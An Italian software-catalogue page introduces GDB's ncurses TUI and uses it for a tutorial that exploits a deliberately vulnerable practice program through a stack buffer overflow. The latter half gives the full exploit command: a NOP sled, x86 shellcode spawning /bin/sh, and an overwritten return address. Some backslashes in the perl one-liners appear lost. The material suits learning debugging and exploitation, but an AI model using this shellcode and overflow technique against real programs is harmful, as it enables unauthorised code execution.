Licenza
gratuito GNU GPL
Sistema operativo
Windows Seven
Lingua
Italiano
Dimensione
2.6 Mb
Recensito da
Pubblicato il
23 marzo

Varie

Gdb TUI

L'interfaccia Ncurses del debugger GNU

Chi si occupa di programmazione e di sicurezza informatica ha spesso a che fare con i debugger. Il più famoso è naturalmente GNU DeBugger, comodo e versatile. Il problema è che la sua interfaccia a riga di comando non è sempre l'opzione migliore: in molti casi risulta scomodo non poter controllare più elementi contemporaneamente, come il codice assembler e i registri di memoria del processore. Non tutti, però, sanno che GDB contiene una interfaccia basata sulle libreri ncurses, che funziona all'interno di un terminale ma offre le comodità principali di una interfaccia grafica. Per esempio, quando si esegue il programma analizzato, il visualizzatore mostra in tempo reale la lettura del codice assembly, indicando i breakpoint a cui si ferma, e anche il contenuto dei vari registri man mano che viene modificato. Qui presentiamo la procedura per crackare un semplice programma sfruttando l'errore di segmentazione della memoria e utilizziamo un ridotto numero di comandi, ma ci sono anche altri comandi che sono comunque utili anche se meno di frequente.



Ovviamente la prima cosa da fare è procurarsi il programma che si vuole analizzare. Per esempio, con questi comandi

wget -O errore.c https://pastebin.com/raw/B5W4SB25
dos2unix errore.c

si può scaricare un programma pensato per lo studio degli errori di segmentazione della memoria.



Per compilare il programma senza le protezioni dello stack tipiche della configurazione standard di GCC si possono usare queste opzioni:

gcc errore.c -o errore -fno-stack-protector -z execstack
chmod +x errore

Si ottiene quindi l'eseguibile errore .



L'interfaccia Ncurses di GDB si può avviare aggiungendo l'opzione -tui al tipico comando:

gdb -q./errore -tui

dove ./errore è il percorso dell'eseguibile.



All'avvio, l'interfaccia si presenta con la classica riga di comando di GDB posizionata sotto una finestra. La finestra è vuota, ma dando il comando

layout asm

si può utilizzare la finestra per visualizzare il codice assembly del programma.



Si può dividere la finestra a metà ottenendo anche la visualizzazione dei registri del processore, con il comando

layout regs

In questo modo si ottiene la possibilità di vedere in tempo reale sia l'esecuzione del programma che i registri, mentre si possono dare comandi. È molto più comodo rispetto alla sola riga di comando.



Per esempio, si può impostare un breakpoint con il comando

b *main+41

in modo da bloccare l'esecuzione dopo che la funzione strcpy ha copiato i caratteri nel buffer. A questo punto si può eseguire il programma cercando di far sforare il buffer:

run 'perl -e 'print "x41"x600;''

Infatti sono stati riservati 0x210 byte (base 16), ovvero 528 byte (base 10). Assegnando 600 byte è ovvio che si avrà un errore di segmentazione della memoria.



Arrivati al breakpoint, si può notare che i valori dei registri sono ancora normali. Se però si danno i comandi

s
tui reg general

si procede all'istruzione successiva e i valori dei registri cambiano. In particolare, EBP e EIP contengono la serie di 41, quindi sono stati riempiti con la stringa fornita in argomento. Il secondo comando serve per forzare l'aggiornamento dei registri, che altrimenti non avviene.



Volendo crackare il programma bisogna controllare la memoria per vedere come si distribuiscano i valori. Dando il comando:

x/600x $esp

si vedono 600 byte dal puntatore ESP. Nell'esempio, uno dei primi indirizzi è 0xffffd150 .



Si può quindi provare a fornire al programma una serie di byte che contenga uno shellcode per cracckarlo. Si può comporre inserendo 200 byte di NOP sled, lo shellcode, e l'indirizzo identificato leggendo la memoria ripetuto per 100 volte:

run 'perl -e 'print "x90"x200;'''perl -e 'print "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80";'''perl -e 'print "x50xd1xffxff"x100;''

L'indirizzo va scritto con la codifica little endian, a coppie di byte da destra a sinistra, quindi 0xffffd150 diventa x50xd1xffxff .



Eseguendo il programma fino al breakpoint si possono controllare ancora i registri per assicurarsi che la sovrascrittura avvenga come previsto. Con i due comandi:

s
c

si porta il programma al termine, eseguendo quindi lo shellcode e avviando il terminale /bin/dash .